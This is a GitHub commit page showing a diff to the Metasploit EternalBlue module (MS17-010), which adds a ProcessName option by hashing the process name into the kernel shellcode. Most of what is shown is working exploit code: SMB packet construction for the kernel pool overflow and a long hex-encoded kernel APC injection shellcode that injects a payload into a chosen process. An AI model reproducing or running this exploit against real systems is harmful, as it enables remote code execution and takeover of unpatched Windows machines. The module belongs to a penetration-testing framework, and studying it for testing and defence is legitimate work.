Skip to content

Commit

Permalink
Land #10792, Add support for ms17_010_eternalblue ProcessName option
Browse files Browse the repository at this point in the history
Merge branch 'land-10792' into upstream-master
  • Loading branch information
bwatters-r7 committed Nov 5, 2018
2 parents 628e660 + 1f09411 commit 7ca2311
Showing 1 changed file with 68 additions and 50 deletions.
118 changes: 68 additions & 50 deletions modules/exploits/windows/smb/ms17_010_eternalblue.rb
Expand Up @@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption', 'Name' => 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption',
'Description' => %q{ 'Description' => %q(
This module is a port of the Equation Group ETERNALBLUE exploit, part of This module is a port of the Equation Group ETERNALBLUE exploit, part of
the FuzzBunch toolkit released by Shadow Brokers. the FuzzBunch toolkit released by Shadow Brokers.
Expand All @@ -35,75 +35,82 @@ def initialize(info = {})
On some systems, this module may cause system instability and crashes, such as a BSOD or On some systems, this module may cause system instability and crashes, such as a BSOD or
a reboot. This may be more likely with some payloads. a reboot. This may be more likely with some payloads.
}, ),


'Author' => [ 'Author' =>
[
'Sean Dillon <sean.dillon@risksense.com>', # @zerosum0x0 'Sean Dillon <sean.dillon@risksense.com>', # @zerosum0x0
'Dylan Davis <dylan.davis@risksense.com>', # @jennamagius 'Dylan Davis <dylan.davis@risksense.com>', # @jennamagius
'Equation Group', 'Equation Group',
'Shadow Brokers', 'Shadow Brokers',
'thelightcosine' # RubySMB refactor and Fallback Credential mode 'thelightcosine' # RubySMB refactor and Fallback Credential mode
], ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'References' => 'References' =>
[ [
[ 'MSB', 'MS17-010' ], ['MSB', 'MS17-010'],
[ 'CVE', '2017-0143' ], ['CVE', '2017-0143'],
[ 'CVE', '2017-0144' ], ['CVE', '2017-0144'],
[ 'CVE', '2017-0145' ], ['CVE', '2017-0145'],
[ 'CVE', '2017-0146' ], ['CVE', '2017-0146'],
[ 'CVE', '2017-0147' ], ['CVE', '2017-0147'],
[ 'CVE', '2017-0148' ], ['CVE', '2017-0148'],
[ 'URL', 'https://github.com/RiskSense-Ops/MS17-010' ] ['URL', 'https://github.com/RiskSense-Ops/MS17-010']
], ],
'DefaultOptions' => 'DefaultOptions' =>
{ {
'EXITFUNC' => 'thread', 'EXITFUNC' => 'thread',
'WfsDelay' => 5, 'WfsDelay' => 5
}, },
'Privileged' => true, 'Privileged' => true,
'Payload' => 'Payload' =>
{ {
'Space' => 2000, # this can be more, needs to be recalculated 'Space' => 2000, # this can be more, needs to be recalculated
'EncoderType' => Msf::Encoder::Type::Raw, 'EncoderType' => Msf::Encoder::Type::Raw
}, },
'Platform' => 'win', 'Platform' => 'win',
'Targets' => 'Targets' =>
[ [
[ 'Windows 7 and Server 2008 R2 (x64) All Service Packs', [
'Windows 7 and Server 2008 R2 (x64) All Service Packs',
{ {
'Platform' => 'win', 'Platform' => 'win',
'Arch' => [ ARCH_X64 ], 'Arch' => [ARCH_X64],

'os_patterns' => ['Server 2008 R2', 'Windows 7', 'Windows Embedded Standard 7'], 'os_patterns' => ['Server 2008 R2', 'Windows 7', 'Windows Embedded Standard 7'],
'ep_thl_b' => 0x308, # EPROCESS.ThreadListHead.Blink offset 'ep_thl_b' => 0x308, # EPROCESS.ThreadListHead.Blink offset
'et_alertable' => 0x4c, # ETHREAD.Alertable offset 'et_alertable' => 0x4c, # ETHREAD.Alertable offset
'teb_acp' => 0x2c8, # TEB.ActivationContextPointer offset 'teb_acp' => 0x2c8, # TEB.ActivationContextPointer offset
'et_tle' => 0x420 # ETHREAD.ThreadListEntry offset 'et_tle' => 0x420 # ETHREAD.ThreadListEntry offset
} }
], ]
], ],
'DefaultTarget' => 0, 'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 14 2017', 'DisclosureDate' => 'Mar 14 2017',
'Notes' => 'Notes' =>
{ {
'AKA' => ['ETERNALBLUE'] 'AKA' => ['ETERNALBLUE']
} }
)) ))


register_options( register_options(
[ [
Opt::RPORT(445), Opt::RPORT(445),
OptString.new('ProcessName', [ true, 'Process to inject payload into.', 'spoolsv.exe' ]), OptBool.new('VERIFY_TARGET', [true, "Check if remote OS matches exploit Target.", true]),
OptInt.new( 'MaxExploitAttempts', [ true, "The number of times to retry the exploit.", 3 ] ), OptBool.new('VERIFY_ARCH', [true, "Check if remote architecture matches exploit Target.", true]),
OptInt.new( 'GroomAllocations', [ true, "Initial number of times to groom the kernel pool.", 12 ] ), OptString.new('SMBUser', [false, '(Optional) The username to authenticate as', '']),
OptInt.new( 'GroomDelta', [ true, "The amount to increase the groom count by per try.", 5 ] ), OptString.new('SMBPass', [false, '(Optional) The password for the specified username', '']),
OptBool.new( 'VerifyTarget', [ true, "Check if remote OS matches exploit Target.", true ] ), OptString.new('SMBDomain', [false, '(Optional) The Windows domain to use for authentication', '.'])
OptBool.new( 'VerifyArch', [ true, "Check if remote architecture matches exploit Target.", true ] ), ]
OptString.new('SMBUser', [ false, '(Optional) The username to authenticate as', '']), )
OptString.new('SMBPass', [ false, '(Optional) The password for the specified username', '']), register_advanced_options(
OptString.new('SMBDomain', [ false, '(Optional) The Windows domain to use for authentication', '.']), [
]) OptString.new('ProcessName', [true, 'Process to inject payload into.', 'spoolsv.exe']),
OptInt.new('MaxExploitAttempts', [true, "The number of times to retry the exploit.", 3]),
OptInt.new('GroomAllocations', [true, "Initial number of times to groom the kernel pool.", 12]),
OptInt.new('GroomDelta', [true, "The amount to increase the groom count by per try.", 5])
]
)

end end


class EternalBlueError < StandardError class EternalBlueError < StandardError
Expand All @@ -114,9 +121,7 @@ class EternalBlueError < StandardError
def exploit def exploit
begin begin
for i in 1..datastore['MaxExploitAttempts'] for i in 1..datastore['MaxExploitAttempts']

grooms = datastore['GroomAllocations'] + datastore['GroomDelta'] * (i - 1) grooms = datastore['GroomAllocations'] + datastore['GroomDelta'] * (i - 1)

smb_eternalblue(datastore['ProcessName'], grooms) smb_eternalblue(datastore['ProcessName'], grooms)


# we don't need this sleep, and need to find a way to remove it # we don't need this sleep, and need to find a way to remove it
Expand Down Expand Up @@ -167,7 +172,7 @@ def exploit
def smb_eternalblue(process_name, grooms) def smb_eternalblue(process_name, grooms)
begin begin
# Step 0: pre-calculate what we can # Step 0: pre-calculate what we can
shellcode = make_kernel_user_payload(payload.encode, 0, 0, 0, 0, 0) shellcode = make_kernel_user_payload(payload.encode, process_name, 0, 0, 0, 0)
payload_hdr_pkt = make_smb2_payload_headers_packet payload_hdr_pkt = make_smb2_payload_headers_packet
payload_body_pkt = make_smb2_payload_body_packet(shellcode) payload_body_pkt = make_smb2_payload_body_packet(shellcode)


Expand Down Expand Up @@ -458,7 +463,7 @@ def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)
timeout_value = "\x35\x00\xd0" + timeout.chr timeout_value = "\x35\x00\xd0" + timeout.chr


packet = RubySMB::SMB1::Packet::Trans2::Request.new packet = RubySMB::SMB1::Packet::Trans2::Request.new
packet = set_smb1_headers(packet,tree_id,user_id) packet = set_smb1_headers(packet, tree_id, user_id)


# The packets are labeled as Secondary Requests but are actually structured # The packets are labeled as Secondary Requests but are actually structured
# as normal Trans2 Requests for some reason. We shall similarly cheat here. # as normal Trans2 Requests for some reason. We shall similarly cheat here.
Expand All @@ -482,15 +487,15 @@ def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)


pkt << "\x41" * 2957 pkt << "\x41" * 2957


pkt << "\x80\x00\xa8\x00" # overflow pkt << "\x80\x00\xa8\x00" # overflow


pkt << "\x00" * 0x10 pkt << "\x00" * 0x10
pkt << "\xff\xff" pkt << "\xff\xff"
pkt << "\x00" * 0x6 pkt << "\x00" * 0x6
pkt << "\xff\xff" pkt << "\xff\xff"
pkt << "\x00" * 0x16 pkt << "\x00" * 0x16


pkt << "\x00\xf1\xdf\xff" # x86 addresses pkt << "\x00\xf1\xdf\xff" # x86 addresses
pkt << "\x00" * 0x8 pkt << "\x00" * 0x8
pkt << "\x20\xf0\xdf\xff" pkt << "\x20\xf0\xdf\xff"


Expand Down Expand Up @@ -535,7 +540,7 @@ def make_smb1_nt_trans_packet(tree_id, user_id)
# our values here. # our values here.
packet.data_block.enable_padding = false packet.data_block.enable_padding = false


packet = set_smb1_headers(packet,tree_id,user_id) packet = set_smb1_headers(packet, tree_id, user_id)


packet.parameter_block.max_setup_count = 1 packet.parameter_block.max_setup_count = 1
packet.parameter_block.total_parameter_count = 30 packet.parameter_block.total_parameter_count = 30
Expand All @@ -551,7 +556,7 @@ def make_smb1_nt_trans_packet(tree_id, user_id)
packet.parameter_block.setup << 0x0000 packet.parameter_block.setup << 0x0000


packet.data_block.byte_count = 1004 packet.data_block.byte_count = 1004
packet.data_block.trans2_parameters = "\x00" * 31 + "\x01" + ( "\x00" * 973 ) packet.data_block.trans2_parameters = "\x00" * 31 + "\x01" + ("\x00" * 973)
packet packet
end end


Expand Down Expand Up @@ -580,17 +585,32 @@ def make_smb1_free_hole_session_packet(flags2, vcnum, native_os)
# teb_acp = TEB.ActivationContextPointer offset # teb_acp = TEB.ActivationContextPointer offset
# et_tle = ETHREAD.ThreadListEntry offset # et_tle = ETHREAD.ThreadListEntry offset
def make_kernel_user_payload(ring3, proc_name, ep_thl_b, et_alertable, teb_acp, et_tle) def make_kernel_user_payload(ring3, proc_name, ep_thl_b, et_alertable, teb_acp, et_tle)
sc = make_kernel_shellcode sc = make_kernel_shellcode(proc_name)
sc << [ring3.length].pack("S<") sc << [ring3.length].pack("S<")
sc << ring3 sc << ring3
sc sc
end end


def make_kernel_shellcode def hash(process)
# x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
proc_hash = 0
process << "\x00"
process.each_byte do |c|
proc_hash = ror(proc_hash, 13)
proc_hash += c
end
[proc_hash].pack('l<')
end

def ror(dword, bits)
(dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF
end

def make_kernel_shellcode(proc_name)
# see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm # see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
# Length: 1019 bytes # Length: 1019 bytes


#"\xcc"+ # "\xcc"+
"\x31\xC9\x41\xE2\x01\xC3\xB9\x82\x00\x00\xC0\x0F\x32\x48\xBB\xF8" + "\x31\xC9\x41\xE2\x01\xC3\xB9\x82\x00\x00\xC0\x0F\x32\x48\xBB\xF8" +
"\x0F\xD0\xFF\xFF\xFF\xFF\xFF\x89\x53\x04\x89\x03\x48\x8D\x05\x0A" + "\x0F\xD0\xFF\xFF\xFF\xFF\xFF\x89\x53\x04\x89\x03\x48\x8D\x05\x0A" +
"\x00\x00\x00\x48\x89\xC2\x48\xC1\xEA\x20\x0F\x30\xC3\x0F\x01\xF8" + "\x00\x00\x00\x48\x89\xC2\x48\xC1\xEA\x20\x0F\x30\xC3\x0F\x01\xF8" +
Expand Down Expand Up @@ -618,7 +638,7 @@ def make_kernel_shellcode
"\x81\xF9\x00\x00\x01\x00\x0F\x8D\x66\x01\x00\x00\x4C\x89\xF2\x89" + "\x81\xF9\x00\x00\x01\x00\x0F\x8D\x66\x01\x00\x00\x4C\x89\xF2\x89" +
"\xCB\x41\xBB\x66\x55\xA2\x4B\xE8\xBC\x01\x00\x00\x85\xC0\x75\xDB" + "\xCB\x41\xBB\x66\x55\xA2\x4B\xE8\xBC\x01\x00\x00\x85\xC0\x75\xDB" +
"\x49\x8B\x0E\x41\xBB\xA3\x6F\x72\x2D\xE8\xAA\x01\x00\x00\x48\x89" + "\x49\x8B\x0E\x41\xBB\xA3\x6F\x72\x2D\xE8\xAA\x01\x00\x00\x48\x89" +
"\xC6\xE8\x50\x01\x00\x00\x41\x81\xF9\xBF\x77\x1F\xDD\x75\xBC\x49" + "\xC6\xE8\x50\x01\x00\x00\x41\x81\xF9" + hash(proc_name.upcase) + "\x75\xBC\x49" +
"\x8B\x1E\x4D\x8D\x6E\x10\x4C\x89\xEA\x48\x89\xD9\x41\xBB\xE5\x24" + "\x8B\x1E\x4D\x8D\x6E\x10\x4C\x89\xEA\x48\x89\xD9\x41\xBB\xE5\x24" +
"\x11\xDC\xE8\x81\x01\x00\x00\x6A\x40\x68\x00\x10\x00\x00\x4D\x8D" + "\x11\xDC\xE8\x81\x01\x00\x00\x6A\x40\x68\x00\x10\x00\x00\x4D\x8D" +
"\x4E\x08\x49\xC7\x01\x00\x10\x00\x00\x4D\x31\xC0\x4C\x89\xF2\x31" + "\x4E\x08\x49\xC7\x01\x00\x10\x00\x00\x4D\x31\xC0\x4C\x89\xF2\x31" +
Expand Down Expand Up @@ -655,14 +675,13 @@ def make_kernel_shellcode
"\xFF\x31\xC9\x51\x51\x51\x51\x41\x59\x4C\x8D\x05\x1A\x00\x00\x00" + "\xFF\x31\xC9\x51\x51\x51\x51\x41\x59\x4C\x8D\x05\x1A\x00\x00\x00" +
"\x5A\x48\x83\xEC\x20\x41\xBB\x46\x45\x1B\x22\xE8\x68\xFF\xFF\xFF" + "\x5A\x48\x83\xEC\x20\x41\xBB\x46\x45\x1B\x22\xE8\x68\xFF\xFF\xFF" +
"\x48\x89\xEC\x5D\x41\x5F\x5E\xC3"#\x01\x00\xC3" "\x48\x89\xEC\x5D\x41\x5F\x5E\xC3"#\x01\x00\xC3"

end end


# Sets common SMB1 Header values used by the various # Sets common SMB1 Header values used by the various
# packets in the exploit. # packets in the exploit.
# #
# @return [RubySMB::GenericPacket] the modified version of the packet # @return [RubySMB::GenericPacket] the modified version of the packet
def set_smb1_headers(packet,tree_id,user_id) def set_smb1_headers(packet, tree_id, user_id)
packet.smb_header.flags2.read("\x07\xc0") packet.smb_header.flags2.read("\x07\xc0")
packet.smb_header.tid = tree_id packet.smb_header.tid = tree_id
packet.smb_header.uid = user_id packet.smb_header.uid = user_id
Expand All @@ -671,7 +690,6 @@ def set_smb1_headers(packet,tree_id,user_id)
packet packet
end end



# Returns the value to be passed to SMB clients for # Returns the value to be passed to SMB clients for
# the password. If the user has not supplied a password # the password. If the user has not supplied a password
# it returns an empty string to trigger an anonymous # it returns an empty string to trigger an anonymous
Expand Down

0 comments on commit 7ca2311

Please sign in to comment.